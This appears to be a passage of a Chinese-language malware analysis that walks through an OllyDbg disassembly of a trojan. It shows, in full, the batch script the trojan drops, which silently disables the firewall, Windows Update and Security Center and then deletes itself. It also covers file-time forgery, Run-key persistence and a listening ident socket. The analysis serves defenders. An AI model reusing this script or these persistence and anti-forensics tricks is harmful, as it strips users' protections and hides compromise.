0040E174    |.    E8 279C0000    |call 3.00417DA0
0040E179    |.    6A 3F    |push 3F
0040E17B    |.    68 D89C5100    |push 3.00519CD8
0040E180    |.    56    |push esi
0040E181    |.    E8 1A9C0000    |call 3.00417DA0
0040E186    |.    83C4 24    |add esp,24
0040E189    |.    895D F0    |mov dword ptr ss:[ebp-10],ebx
0040E18C    |.^ E9 55FFFFFF    |jmp 3.0040E0E6
0040E191    |>    381D DC9C5100    |cmp byte ptr ds:[519CDC],bl
0040E197    |.^ 0F84 49FFFFFF    |je 3.0040E0E6
0040E19D    |.    6A 7F    |push 7F
0040E19F    |.    68 DC9C5100    |push 3.00519CDC
0040E1A4    |.    68 6C9B5100    |push 3.00519B6C    ;    ASCII "believer.ma.cx"
0040E1A9    |.    E8 F29B0000    |call 3.00417DA0
0040E1AE    |.    A1 14D44200    |mov eax,dword ptr ds:[42D414]
0040E1B3    |.    6A 3F    |push 3F
0040E1B5    |.    68 E09C5100    |push 3.00519CE0
0040E1BA    |.    57    |push edi
```

```
0040E1BB   |.   A3 BC9C5100          |mov dword ptr ds:[519CBC],eax
0040E1C0   |.   E8 DB9B0000          |call 3.00417DA0
0040E1C5   |.   6A 3F                |push 3F
0040E1C7   |.   68 E49C5100          |push 3.00519CE4
0040E1CC   |.   56                   |push esi
0040E1CD   |.   E8 CE9B0000          |call 3.00417DA0
0040E1D2   |.   83C4 24              |add esp,24
0040E1D5   |.   C745 F0 01000000     |mov dword ptr ss:[ebp-10],1
0040E1DC   |.^ E9 05FFFFFF           \jmp 3.0040E0E6
0040E1E1   |>   E8 D4880000          call 3.00416ABA
0040E1E6   |>   FF15 B8594400        call dword ptr ds:[4459B8]                ;   ws2_32.WSACleanup
0040E1EC   |>   5F                   pop edi
0040E1ED   |.   5E                   pop esi
0040E1EE   |.   33C0                 xor eax,eax
0040E1F0   |.   5B                   pop ebx
0040E1F1   |.   C9                   leave
0040E1F2   \.   C2 1000              retn 10
```

具体的各部分内容：

一、创建批处理

```
0040A00E   /   55                   push ebp                                  ;   创建 a.bat
0040A00F   |.   8BEC                 mov ebp,esp
0040A011   |.   B8 60180000          mov eax,1860
0040A016   |.   E8 A5D60000          call 3.004176C0
0040A01B   |.   56                   push esi
0040A01C   |.   57                   push edi
0040A01D   |.   B9 C1050000          mov ecx,5C1
0040A022   |.   BE 40A04200          mov esi,3.0042A040                        ;   ASCII "@echo off
Echo REGEDIT4>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]>>%temp%\1.reg
Echo "TransportBindName"=""">>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo    [HKEY_LOCAL_MA"...
0040A027   |.   8DBD A0E7FFFF        lea edi,dword ptr ss:[ebp-1860]           ;   批处理内容
0040A02D   |.   8D85 A8FEFFFF        lea eax,dword ptr ss:[ebp-158]
0040A033   |.   F3:A5                rep movs dword ptr es:[edi],dword ptr ds:[esi]
0040A035   |.   66:A5                movs word ptr es:[edi],word ptr ds:[esi]
0040A037   |.   68 34A04200          push 3.0042A034                           ;   ASCII "c:\a.bat"
0040A03C   |.   50                   push eax                                  ;   批处理创建的路径
0040A03D   |.   A4                   movs byte ptr es:[edi],byte ptr ds:[esi]
0040A03E   |.   E8 02CE0000          call 3.00416E45
0040A043   |.   59                   pop ecx
0040A044   |.   33F6                 xor esi,esi
0040A046   |.   59                   pop ecx
0040A047   |.   8D85 A8FEFFFF        lea eax,dword ptr ss:[ebp-158]
0040A04D   |.   56                   push esi                                  ; /hTemplateFile => NULL
0040A04E   |.   56                   push esi                                  ; |Attributes => 0
0040A04F   |.   6A 02                push 2                                    ; |Mode =
```

```
CREATE_ALWAYS
0040A051   |.  56                  push esi                                 ; |pSecurity => NULL
0040A052   |.  56                  push esi                                 ; |ShareMode => 0
0040A053   |.  68 00000040          push 40000000                                    ; |Access =
GENERIC_WRITE
0040A058   |.  50                  push eax                                 ; |FileName
0040A059   |.  FF15 70104200       call dword ptr ds:[<&KERNEL32.CreateFileA>]       ; \CreateFileA
0040A05F   |.  8BF8                mov edi,eax                               ;   创建 a.bat
0040A061   |.  3BFE                cmp edi,esi
0040A063   |.  76 63               jbe short 3.0040A0C8
0040A065   |.  8D45 FC             lea eax,dword ptr ss:[ebp-4]
0040A068   |.  56                  push esi
0040A069   |.  50                  push eax
0040A06A   |.  8D85 A0E7FFFF       lea eax,dword ptr ss:[ebp-1860]
0040A070   |.  50                  push eax
0040A071   |.  E8 CAD50000         call 3.00417640
0040A076   |.  59                  pop ecx                                  ; |
0040A077   |.  50                  push eax                                 ; |nBytesToWrite
0040A078   |.  8D85 A0E7FFFF       lea eax,dword ptr ss:[ebp-1860]          ; |
0040A07E   |.  50                  push eax                                 ; |Buffer
0040A07F   |.  57                  push edi                                 ; |hFile
0040A080   |.  FF15 68104200       call dword ptr ds:[<&KERNEL32.WriteFile>]         ; \WriteFile
0040A086   |.  57                  push edi                                 ; /写入内容
0040A087   |.  FF15 6C104200       call dword ptr ds:[<&KERNEL32.CloseHandle>]       ; \CloseHandle
0040A08D   |.  6A 44               push 44
0040A08F   |.  8D45 B8             lea eax,dword ptr ss:[ebp-48]
0040A092   |.  5F                  pop edi
0040A093   |.  57                  push edi
0040A094   |.  56                  push esi
0040A095   |.  50                  push eax
0040A096   |.  E8 25CE0000         call 3.00416EC0
0040A09B   |.  83C4 0C             add esp,0C
0040A09E   |.  8D4D A8             lea ecx,dword ptr ss:[ebp-58]
0040A0A1   |.  897D B8             mov dword ptr ss:[ebp-48],edi
0040A0A4   |.  66:8975 E8          mov word ptr ss:[ebp-18],si
0040A0A8   |.  6A 01               push 1
0040A0AA   |.  58                  pop eax
0040A0AB   |.  51                  push ecx                                 ; /pProcessInfo
0040A0AC   |.  8D4D B8             lea ecx,dword ptr ss:[ebp-48]            ; |
0040A0AF   |.  51                  push ecx                                 ; |pStartupInfo
0040A0B0   |.  56                  push esi                                 ; |CurrentDir => NULL
0040A0B1   |.  56                  push esi                                 ; |pEnvironment => NULL
0040A0B2   |.  6A 28                push 28                                          ; |CreationFlags =
DETACHED_PROCESS|NORMAL_PRIORITY_CLASS
0040A0B4   |.  8945 E4             mov dword ptr ss:[ebp-1C],eax            ; |
0040A0B7   |.  50                  push eax                                 ; |InheritHandles => TRUE
0040A0B8   |.  56                   push esi                                        ; |pThreadSecurity =>
NULL
0040A0B9   |.  8D85 A8FEFFFF       lea eax,dword ptr ss:[ebp-158]           ; |
0040A0BF   |.  56                   push esi                                        ; |pProcessSecurity =>
NULL
0040A0C0   |.  50                  push eax                                 ; |CommandLine
```

```
0040A0C1   |.   56                  push esi                                          ; |ModuleFileName =>
NULL
0040A0C2   |.   FF15 08114200       call dword ptr ds:[<&KERNEL32.CreateProcessA>]     ; \CreateProcessA
0040A0C8   |>   5F                  pop edi                                           ;  创建进程，删除批处理
文件
0040A0C9   |.   5E                  pop esi
0040A0CA   |.   C9                  leave
0040A0CB   \.   C3                  retn
```

批处理内容为：

```
@echo off
Echo REGEDIT4>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]>>%temp%\1.reg
Echo "TransportBindName"=""">>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]>>%temp%\1.reg
Echo "Start"=dword:00000004>>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]>>%temp%\1.reg
Echo "Start"=dword:00000004>>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo    [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>%temp%\1.reg
Echo "Start"=dword:00000004>>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg
Echo "EnableDCOM"="N">>%temp%\1.reg
Echo "EnableRemoteConnect"="N">>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>%temp%\1.reg
Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%
temp%\1.reg
Echo "Enabled"=hex:00>>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>>%temp%\1.reg
Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg
Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]>>%temp%\1.reg
Echo "NameServer"=""">>%temp%\1.reg
Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg
Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg
Echo "Domain"=""">>%temp%\1.reg
Echo "SearchList"=""">>%temp%\1.reg
Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg
Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg
Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg
Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg
Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg
```

```
Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg
Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg
Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg
Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg
Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg
Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg
Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg
Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg
Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg
Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg
Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg
Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg
Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg
Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg
Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg
Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg
Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg
Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg
Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg
Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg
Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg
Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg
Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg
Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg
Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg
Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg
Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg
Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg
Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg
Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg
Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg
Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg
Echo "DNSQueryTimeouts"
=hex(7):31,00,00,00,32,00,00,00,32,00,00,00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg
Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg
Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\1.reg
Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\1.reg
Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg
Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg
Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg
Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg
Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg
Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg
Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg
Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg
Echo "SackOpts"=dword:00000001>>%temp%\1.reg
Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg
Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg
Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg
Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg
Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg
Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg
```

```
Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg
Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg
Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg
Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg
Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg
Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg
Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg
Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg
Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg
Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg
Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg
Echo.>>%temp%\1.reg
Echo    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]>>%temp%\1.reg
Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg
Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg
Echo.>>%temp%\1.reg
START /WAIT REGEDIT /S %temp%\1.reg
DEL %temp%\1.reg
DEL %0
```

大致内容为创建服务，实现自启动，修改连接的最大连接数，修改下载线程，修改共享。修改注册表关联，使之无法打开。

二、修改 winlogin.exe 文件时间：

```
00409DC0   /   55                    push ebp
00409DC1   |.   8BEC                  mov ebp,esp
00409DC3   |.   81EC 1C010000         sub esp,11C
00409DC9   |.   53                    push ebx
00409DCA   |.   56                    push esi
00409DCB   |.   33F6                  xor esi,esi
00409DCD   |.   57                    push edi
00409DCE   |.   8D85 E4FEFFFF         lea eax,dword ptr ss:[ebp-11C]
00409DD4   |.   56                    push esi
00409DD5   |.   50                    push eax
00409DD6   |.   68 04010000           push 104
00409DDB   |.   56                    push esi
00409DDC   |.   68 A89F4200           push 3.00429FA8                          ;   ASCII "explorer.exe"
00409DE1   |.   56                    push esi
00409DE2   |.   FF15 145B4400         call dword ptr ds:[445B14]               ;   kernel32.SearchPathA
00409DE8   |.   85C0                  test eax,eax
00409DEA   |.   74 73                 je short 3.00409E5F
00409DEC   |.   BF 80000000           mov edi,80
00409DF1   |.   56                    push esi                                 ; /hTemplateFile => NULL
00409DF2   |.   57                    push edi                                 ; |Attributes => NORMAL
00409DF3   |.   6A 03                 push 3                                   ; |Mode =
OPEN_EXISTING
00409DF5   |.   56                    push esi                                 ; |pSecurity => NULL
00409DF6   |.   8B35 70104200         mov esi,dword ptr ds:[<&KERNEL32.CreateFileA>]  ; |kernel32.CreateFileA
00409DFC   |.   6A 01                 push 1                                   ; |ShareMode =
FILE_SHARE_READ
00409DFE   |.   8D85 E4FEFFFF         lea eax,dword ptr ss:[ebp-11C]           ; |
00409E04   |.   68 00000080           push 80000000                            ; |Access =
```

```
GENERIC_READ
00409E09   |.   50                 push eax                                 ; |FileName
00409E0A   |.   FFD6               call esi                                 ; \CreateFileA
00409E0C   |.   8BD8               mov ebx,eax
00409E0E   |.   83FB FF            cmp ebx,-1
00409E11   |.   74 4C              je short 3.00409E5F
00409E13   |.   8D45 E8            lea eax,dword ptr ss:[ebp-18]
00409E16   |.   50                 push eax                                 ; /pLastWrite
00409E17   |.   8D45 F8            lea eax,dword ptr ss:[ebp-8]             ; |
00409E1A   |.   50                 push eax                                 ; |pLastAccess
00409E1B   |.   8D45 F0            lea eax,dword ptr ss:[ebp-10]            ; |
00409E1E   |.   50                 push eax                                 ; |pCreationTime
00409E1F   |.   53                 push ebx                                 ; |hFile
00409E20   |.   FF15 00104200      call dword ptr ds:[<&KERNEL32.GetFileTime>]  ; \得到 exeplorer.exe 时间
00409E26   |.   53                 push ebx                                 ; /hObject
00409E27   |.   8B1D 6C104200      mov ebx,dword ptr ds:[<&KERNEL32.CloseHandle>]  ; |kernel32.CloseHandle
00409E2D   |.   FFD3               call ebx                                 ; \CloseHandle
00409E2F   |.   6A 00              push 0                                   ; /hTemplateFile = NULL
00409E31   |.   57                 push edi                                 ; |Attributes => NORMAL
00409E32   |.   6A 03              push 3                                   ; |Mode =
OPEN_EXISTING
00409E34   |.   6A 00              push 0                                   ; |pSecurity = NULL
00409E36   |.   6A 02              push 2                                   ; |ShareMode =
FILE_SHARE_WRITE
00409E38   |.   68 00000040        push 40000000                            ; |Access =
GENERIC_WRITE
00409E3D   |.   FF75 08            push dword ptr ss:[ebp+8]                ; |FileName
00409E40   |.   FFD6               call esi                                 ; \CreateFileA
00409E42   |.   8BF0               mov esi,eax
00409E44   |.   83FE FF            cmp esi,-1
00409E47   |.   74 16              je short 3.00409E5F
00409E49   |.   8D45 E8            lea eax,dword ptr ss:[ebp-18]
00409E4C   |.   50                 push eax                                 ; /pLastWrite
00409E4D   |.   8D45 F8            lea eax,dword ptr ss:[ebp-8]             ; |
00409E50   |.   50                 push eax                                 ; |pLastAccess
00409E51   |.   8D45 F0            lea eax,dword ptr ss:[ebp-10]            ; |
00409E54   |.   50                 push eax                                 ; |pCreationTime
00409E55   |.   56                 push esi                                 ; |hFile
00409E56   |.   FF15 04114200      call dword ptr ds:[<&KERNEL32.SetFileTime>]  ; \设置成一样的时间
00409E5C   |.   56                 push esi                                 ; /hObject
00409E5D   |.   FFD3               call ebx                                 ; \CloseHandle
00409E5F   |>   5F                 pop edi
00409E60   |.   5E                 pop esi
00409E61   |.   5B                 pop ebx
00409E62   |.   C9                 leave
00409E63   \.   C3                 retn
```

三、创建注册表，实现自启动

```
0040B485   /   55                 push ebp
0040B486   |.   8BEC               mov ebp,esp
0040B488   |.   51                 push ecx
0040B489   |.   53                 push ebx
```

```
0040B48A   |.   56                    push esi
0040B48B   |.   57                    push edi
0040B48C   |.   BF E0BD4200            mov edi,3.0042BDE0
0040B491   |.   33F6                  xor esi,esi
0040B493   |.   BB 24D54200            mov ebx,3.0042D524                                    ;   ASCII "Adsl
Not-A-Virus"
0040B498   |>   8D45 FC                /lea eax,dword ptr ss:[ebp-4]
0040B49B   |.   56                    |push esi
0040B49C   |.   50                    |push eax
0040B49D   |.   56                    |push esi
0040B49E   |.   68 3F000F00           |push 0F003F
0040B4A3   |.   56                    |push esi
0040B4A4   |.   56                    |push esi
0040B4A5   |.   56                    |push esi
0040B4A6   |.   FF77 04               |push dword ptr ds:[edi+4]
0040B4A9   |.   FF37                  |push dword ptr ds:[edi]
0040B4AB   |.   FF15  0C5A4400          |call  dword  ptr  ds:[445A0C]                                ;
advapi32.RegCreateKeyExA
0040B4B1   |.   3975 08               |cmp dword ptr ss:[ebp+8],esi                           ;   创建注册表
0040B4B4   |.   74 1C                 |je short 3.0040B4D2
0040B4B6   |.   FF75 08               |push dword ptr ss:[ebp+8]
0040B4B9   |.   E8 82C10000           |call 3.00417640
0040B4BE   |.   59                    |pop ecx
0040B4BF   |.   50                    |push eax
0040B4C0   |.   FF75 08               |push dword ptr ss:[ebp+8]
0040B4C3   |.   6A 01                 |push 1
0040B4C5   |.   56                    |push esi
0040B4C6   |.   53                    |push ebx
0040B4C7   |.   FF75 FC               |push dword ptr ss:[ebp-4]
0040B4CA   |.   FF15  7C5A4400          |call  dword  ptr  ds:[445A7C]                                ;
advapi32.RegSetValueExA
0040B4D0   |.   EB 0A                 |jmp short 3.0040B4DC                                   ; 设置注册表值
0040B4D2   |>   53                    |push ebx
0040B4D3   |.   FF75 FC               |push dword ptr ss:[ebp-4]
0040B4D6   |.   FF15 C4594400         |call dword ptr ds:[4459C4]                             ;   advapi32.RegDeleteValueA
0040B4DC   |>   FF75 FC               |push dword ptr ss:[ebp-4]                              ; 删除注册表值
0040B4DF   |.   FF15 345A4400         |call dword ptr ds:[445A34]                             ;   advapi32.RegCloseKey
0040B4E5   |.   83C7 08               |add edi,8                                              ; 关闭注册表
0040B4E8   |.   81FF F8BD4200         |cmp edi,3.0042BDF8
0040B4EE   |.^ 7C A8                  \jl short 3.0040B498                                    ; 继续处理下个注册表项
0040B4F0   |.   5F                    pop edi
0040B4F1   |.   5E                    pop esi
0040B4F2   |.   5B                    pop ebx
0040B4F3   |.   C9                    leave
0040B4F4   \.   C3                    retn
0040B4F5    >   FF7424 04             push dword ptr ss:[esp+4]
0040B4F9    .   E8 87FFFFFF           call 3.0040B485
0040B4FE    .   59                    pop ecx
0040B4FF    .   FF35 D8BD4200         push dword ptr ds:[42BDD8]                              ; /Timeout = 120. ms
0040B505    .   FF15 5C104200         call dword ptr ds:[<&KERNEL32.Sleep>]                   ; \Sleep
0040B50B    .^ EB E8                  jmp short 3.0040B4F5
0040B50D    /.   8B4424 08            mov eax,dword ptr ss:[esp+8]
```

```
0040B511   |.   8B5424 04            mov edx,dword ptr ss:[esp+4]
0040B515   |.   56                    push esi
0040B516   |.   83CE FF              or esi,FFFFFFFF
0040B519   |.   85C0                  test eax,eax
0040B51B   |.   74 25                je short 3.0040B542
0040B51D   |.   53                    push ebx
0040B51E   |.   57                    push edi
0040B51F   |.   8D38                  lea edi,dword ptr ds:[eax]
0040B521   |.   B9 FF000000          mov ecx,0FF
0040B526   |>   8A02                  /mov al,byte ptr ds:[edx]
0040B528   |.   8BDE                  |mov ebx,esi
0040B52A   |.   23C1                  |and eax,ecx
0040B52C   |.   23D9                  |and ebx,ecx
0040B52E   |.   33C3                  |xor eax,ebx
0040B530   |.   C1EE 08               |shr esi,8
0040B533   |.   8B0485 10124200      |mov eax,dword ptr ds:[eax*4+421210]
0040B53A   |.   33F0                  |xor esi,eax
0040B53C   |.   42                    |inc edx
0040B53D   |.   4F                    |dec edi
0040B53E   |.^ 75 E6                 \jnz short 3.0040B526
0040B540   |.   5F                    pop edi
0040B541   |.   5B                    pop ebx
0040B542   |>   8BC6                  mov eax,esi
0040B544   |.   5E                    pop esi
0040B545   |.   F7D0                  not eax
0040B547   \.   C3                    retn
```

此过程创建的注册表项为下面3个：

(1):Software\Microsoft\Windows\CurrentVersion\Run
(2):Software\Microsoft\Windows\CurrentVersion\RunServices
(3):Software\Microsoft\OLE

此目的为实现木马的开机自启动

四、连接远程主机，并实现相应的操作

```
0040C917   /.   55                    push ebp
0040C918   |.   8BEC                  mov ebp,esp
0040C91A   |.   81EC 38020000        sub esp,238
0040C920   |.   53                    push ebx
0040C921   |.   56                    push esi
0040C922   |.   57                    push edi
0040C923   |.   6A 10                push 10
0040C925   |.   5F                    pop edi
0040C926   |.   33F6                  xor esi,esi
0040C928   |.   57                    push edi
0040C929   |.   8D45 E4               lea eax,dword ptr ss:[ebp-1C]
0040C92C   |.   56                    push esi
0040C92D   |.   50                    push eax
0040C92E   |.   8975 F8               mov dword ptr ss:[ebp-8],esi
0040C931   |.   E8 8AA50000          call 3.00416EC0
0040C936   |.   83C4 0C               add esp,0C
```

```
0040C939   |.  66:C745 E4 0200      mov word ptr ss:[ebp-1C],2
0040C93F   |.  6A 71                push 71
0040C941   |.  FF15 585A4400        call dword ptr ds:[445A58]                    ;  ws2_32.ntohs
0040C947   |.  56                   push esi
0040C948   |.  6A 01                push 1
0040C94A   |.  6A 02                push 2
0040C94C   |.  66:8945 E6           mov word ptr ss:[ebp-1A],ax
0040C950   |.  8975 E8              mov dword ptr ss:[ebp-18],esi
0040C953   |.  FF15 D85A4400        call dword ptr ds:[445AD8]                    ;  ws2_32.socket
0040C959   |.  8BD8                 mov ebx,eax
0040C95B   |.  83FB FF              cmp ebx,-1
0040C95E   |.  0F84 14010000        je 3.0040CA78
0040C964   |.  8B45 08              mov eax,dword ptr ss:[ebp+8]
0040C967   |.  57                   push edi
0040C968   |.  69C0 34020000        imul eax,eax,234
0040C96E   |.  8998 BCB44400        mov dword ptr ds:[eax+44B4BC],ebx
0040C974   |.  8D45 E4              lea eax,dword ptr ss:[ebp-1C]
0040C977   |.  50                   push eax
0040C978   |.  53                   push ebx
0040C979   |.  FF15 845A4400        call dword ptr ds:[445A84]                    ;  ws2_32.bind
0040C97F   |.  83F8 FF              cmp eax,-1                                     ;  连接远程主机
0040C982   |.  0F84 F0000000        je 3.0040CA78
0040C988   |.  6A 05                push 5
0040C98A   |.  53                   push ebx
0040C98B   |.  FF15 805A4400        call dword ptr ds:[445A80]                    ;  ws2_32.listen
0040C991   |.  83F8 FF              cmp eax,-1                                     ;  开始监听
0040C994   |.  0F84 DE000000        je 3.0040CA78
0040C99A   |.  897D F4              mov dword ptr ss:[ebp-C],edi
0040C99D   |.  BF 00020000          mov edi,200
0040C9A2   |>  8D45 F4              /lea eax,dword ptr ss:[ebp-C]
0040C9A5   |.  50                   |push eax
0040C9A6   |.  8D45 D4              |lea eax,dword ptr ss:[ebp-2C]
0040C9A9   |.  50                   |push eax
0040C9AA   |.  53                   |push ebx
0040C9AB   |.  FF15 EC5A4400        |call dword ptr ds:[445AEC]                   ;  ws2_32.accept
0040C9B1   |.  83F8 FF              |cmp eax,-1                                   ;  开始接收
0040C9B4   |.  8945 FC              |mov dword ptr ss:[ebp-4],eax
0040C9B7   |.  0F84 B6000000        |je 3.0040CA73
0040C9BD   |.  0FB745 D6            |movzx eax,word ptr ss:[ebp-2A]
0040C9C1   |.  50                   |push eax
0040C9C2   |.  FF75 D8              |push dword ptr ss:[ebp-28]
0040C9C5   |.  FF15 E45A4400        |call dword ptr ds:[445AE4]                   ;  ws2_32.inet_ntoa
0040C9CB   |.  50                   |push eax                                     ;  IP 地址：32.192.80.129

0040C9CC   |.  8D85 C8FDFFFF        |lea eax,dword ptr ss:[ebp-238]
0040C9D2   |.  68 88C54200          |push 3.0042C588
0040C9D7   |.  50                   |push eax
0040C9D8   |.  E8 68A40000          |call 3.00416E45
0040C9DD   |.  8D85 C8FDFFFF        |lea eax,dword ptr ss:[ebp-238]
0040C9E3   |.  50                   |push eax
0040C9E4   |.  E8 8DE8FFFF          |call 3.0040B276
0040C9E9   |.  83C4 14              |add esp,14
```

```
0040C9EC   |.   8D85 C8FDFFFF        |lea eax,dword ptr ss:[ebp-238]
0040C9F2   |.   56                   |push esi
0040C9F3   |.   57                   |push edi
0040C9F4   |.   50                   |push eax
0040C9F5   |.   FF75 FC              |push dword ptr ss:[ebp-4]
0040C9F8   |.   FF15 705A4400        |call dword ptr ds:[445A70]                    ;  ws2_32.recv
0040C9FE   |.   83F8 FF              |cmp eax,-1                                    ;  接收数据
0040CA01   |.^ 74 9F                 |je short 3.0040C9A2
0040CA03   |.   8D85 C8FDFFFF        |lea eax,dword ptr ss:[ebp-238]
0040CA09   |.   56                   |push esi
0040CA0A   |.   50                   |push eax
0040CA0B   |.   E8 9CD0FFFF          |call 3.00409AAC
0040CA10   |.   6A 0C                |push 0C
0040CA12   |.   8D45 C8              |lea eax,dword ptr ss:[ebp-38]
0040CA15   |.   56                   |push esi
0040CA16   |.   50                   |push eax
0040CA17   |.   E8 A4A40000          |call 3.00416EC0
0040CA1C   |.   56                   |push esi
0040CA1D   |.   56                   |push esi
0040CA1E   |.   8D45 C8              |lea eax,dword ptr ss:[ebp-38]
0040CA21   |.   6A 02                |push 2
0040CA23   |.   50                   |push eax
0040CA24   |.   E8 24830000          |call 3.00414D4D
0040CA29   |.   50                   |push eax
0040CA2A   |.   68 70C54200          |push 3.0042C570                               ;  ASCII " : USERID :
UNIX : %s
"
0040CA2F   |.   8D85 C8FDFFFF        |lea eax,dword ptr ss:[ebp-238]
0040CA35   |.   57                   |push edi
0040CA36   |.   50                   |push eax
0040CA37   |.   E8 7EA90000          |call 3.004173BA
0040CA3C   |.   83C4 34              |add esp,34
0040CA3F   |.   8D85 C8FDFFFF        |lea eax,dword ptr ss:[ebp-238]
0040CA45   |.   56                   |push esi
0040CA46   |.   50                   |push eax
0040CA47   |.   E8 F4AB0000          |call 3.00417640
0040CA4C   |.   59                   |pop ecx
0040CA4D   |.   50                   |push eax
0040CA4E   |.   8D85 C8FDFFFF        |lea eax,dword ptr ss:[ebp-238]
0040CA54   |.   50                   |push eax
0040CA55   |.   FF75 FC              |push dword ptr ss:[ebp-4]
0040CA58   |.   FF15 A85A4400        |call dword ptr ds:[445AA8]                    ;  ws2_32.send
0040CA5E   |.   83F8 FF              |cmp eax,-1
0040CA61   |.^ 0F84 3BFFFFFF         |je 3.0040C9A2
0040CA67   |.   C745 F8 01000000     |mov dword ptr ss:[ebp-8],1
0040CA6E   |.^ E9 2FFFFFFF           \jmp 3.0040C9A2
0040CA73   |>   3975 F8              cmp dword ptr ss:[ebp-8],esi
0040CA76   |.   75 27                jnz short 3.0040CA9F
0040CA78   |>   FF15 EC594400        call dword ptr ds:[4459EC]                   ;
